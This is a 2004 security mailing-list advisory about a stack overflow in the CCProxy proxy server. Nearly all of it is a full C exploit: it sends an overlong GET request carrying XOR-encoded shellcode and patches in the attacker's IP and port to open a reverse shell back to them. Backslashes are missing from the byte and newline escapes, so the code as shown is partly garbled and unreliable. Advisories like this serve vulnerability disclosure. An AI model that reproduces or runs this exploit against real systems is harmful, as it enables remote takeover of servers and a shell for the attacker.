[EXPL] CCProxy Log Stack Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 11/09/04

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Date: 9 Nov 2004 18:56:51 +0200

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      CCProxy Log Stack Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.youngzsoft.net/ccproxy/> Proxy Server CCProxy lets all
    computers on the LAN access Internet through one single Internet
    connection.

    A security vulnerability in CCProxy allows a remote attacker to cause it
    to crash and execute arbitrary code by supplying an overly long buffer GET
    request.

    DETAILS

    Exploit:
    #include <stdio.h>
    #include <windows.h>
    #include <winsock.h>

    #pragma comment(lib, "ws2_32")

    unsigned char EndChar[]=
    "x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A";
    // HTTP/1.0

    unsigned char shellcode[] =
    "xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05"

    "xe8xedxffxffxff"

    /* 254 bytes shellcode, xor with 0xee */
    /* offset 92=IP offset 99=PORT*/
    "x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65"

    "x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee"

    "x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b"

    "x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef"

    "x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb"

    "x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84"

    "xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45"

    "x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf"

    "xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11"

    "xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0"

    "x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b"

    "xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05"

    "x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65"

    "xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11"

    "x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37"

    "xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";

    /*

    +------------------------------------------------------------------------------+
    | |inc edx...inc edx|shellcode|0x7ffa54cd| | |
    +------------------------------------------------------------------------------+
          +0x42 +shellcode +IPLen( IP )=4065

        :
    mov ecx,0x12811111
    shr ecx,0x14
    sub esp,ecx
    jmp esp

                            
    1.
    2. ecx inc edx
    */

    void start(void)
    {
    printf("CCProxy Log Stack Overflow Exploit!n");
    printf("written by Ruder 11/2004n");
    printf("Bug found by Isno,See xfocus.comn");
    printf("Homepage:http://ruder.cdut.netn";);
    printf("E-mail:cocoruder@163.comn");
    }

    int main(int argc, char *argv[])
    {
    WSADATA wsd;
    SOCKET sClient;
    int ret, i,tmp;
    struct sockaddr_in server,local;
    struct hostent *host = NULL;
    int IPLen;
    int a;
    char buff[4096] = {0};
    char *IPStr;
    u_short tmp1;
    char *PORTStr;

    start();

    if(argc != 5)
    {
    printf("usage: %s target port backIP backPortn", argv[0]);
    exit(1);
    }

    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
    {
    printf("Failed to load Winsock library!n");
    return 1;
    }

    sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if (sClient == INVALID_SOCKET)
    {
    printf("socket() failed: %dn", WSAGetLastError());
    return 1;
    }

    // shellcode ,
    tmp=inet_addr(argv[3]);
    a=(DWORD)&tmp; //
    IPStr=(char*)a;

    shellcode[92]=IPStr[0]^0xee; //IP
    shellcode[93]=IPStr[1]^0xee;
    shellcode[94]=IPStr[2]^0xee;
    shellcode[95]=IPStr[3]^0xee;

    tmp1=htons((u_short)atoi(argv[4]));
    a=(DWORD)&tmp1;
    PORTStr=(char*)a;

    shellcode[99]=PORTStr[0]^0xee; //PORT
    shellcode[100]=PORTStr[1]^0xee;

    server.sin_family = AF_INET;
    server.sin_port = htons((u_short)atoi(argv[2]));
    server.sin_addr.s_addr = inet_addr(argv[1]);
    if (server.sin_addr.s_addr == INADDR_NONE)
    {
    host = gethostbyname(argv[1]);
    if (host == NULL)
    {
    printf("Unable to resolve server: %sn", argv[1]);
    return 1;
    }
    CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);
    }

    //
    if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) ==
    SOCKET_ERROR)
    {
    printf("connect() failed: %dn", WSAGetLastError());
    return 1;
    }

    //
    a=sizeof(sockaddr_in);

    // IP
    if (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR)
    {
    printf("getsockname() failed: %dn", WSAGetLastError());
    return 1;
    }
    IPLen=strlen(inet_ntoa(local.sin_addr));

    //
    buff[0]=0x47;
    buff[1]=0x45;
    buff[2]=0x54;
    buff[3]=0x20;
    buff[4]=0x2F;

    // INC EDX
    // 0x42
    tmp=4065-sizeof(shellcode)-5-IPLen+1;
    for(i=5;i<tmp+5;i++)
    {
    buff[i]=0x42;
    }

    CopyMemory(&buff[i],shellcode,sizeof(shellcode));
    i=i+sizeof(shellcode)-1;

    buff[i]=0xCD;
    buff[i+1]=0x54;
    buff[i+2]=0xFA;
    buff[i+3]=0x7F;

    i=i+4;
    //
    buff[i++]=0xB9;
    buff[i++]=0x11;
    buff[i++]=0x11;
    buff[i++]=0x81;
    buff[i++]=0x12;
    buff[i++]=0xC1;
    buff[i++]=0xE9;
    buff[i++]=0x14;
    buff[i++]=0x2B;
    buff[i++]=0xE1;
    buff[i++]=0xFF;
    buff[i++]=0xE4;

    //
    CopyMemory(&buff[i],EndChar,sizeof(EndChar));
    i=i+sizeof(EndChar);

    ret=send(sClient,buff,i-1,0);

    printf("send... buffer ok!good luck!n");

    closesocket(sClient);
    WSACleanup();
    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cocoruder@163.com> Ruder.
    The original article can be found at:
    <http://www.cnhonker.com/index.php?module=articles&act=view&type=3&id=1027> http://www.cnhonker.com/index.php?module=articles&act=view&type=3&id=1027

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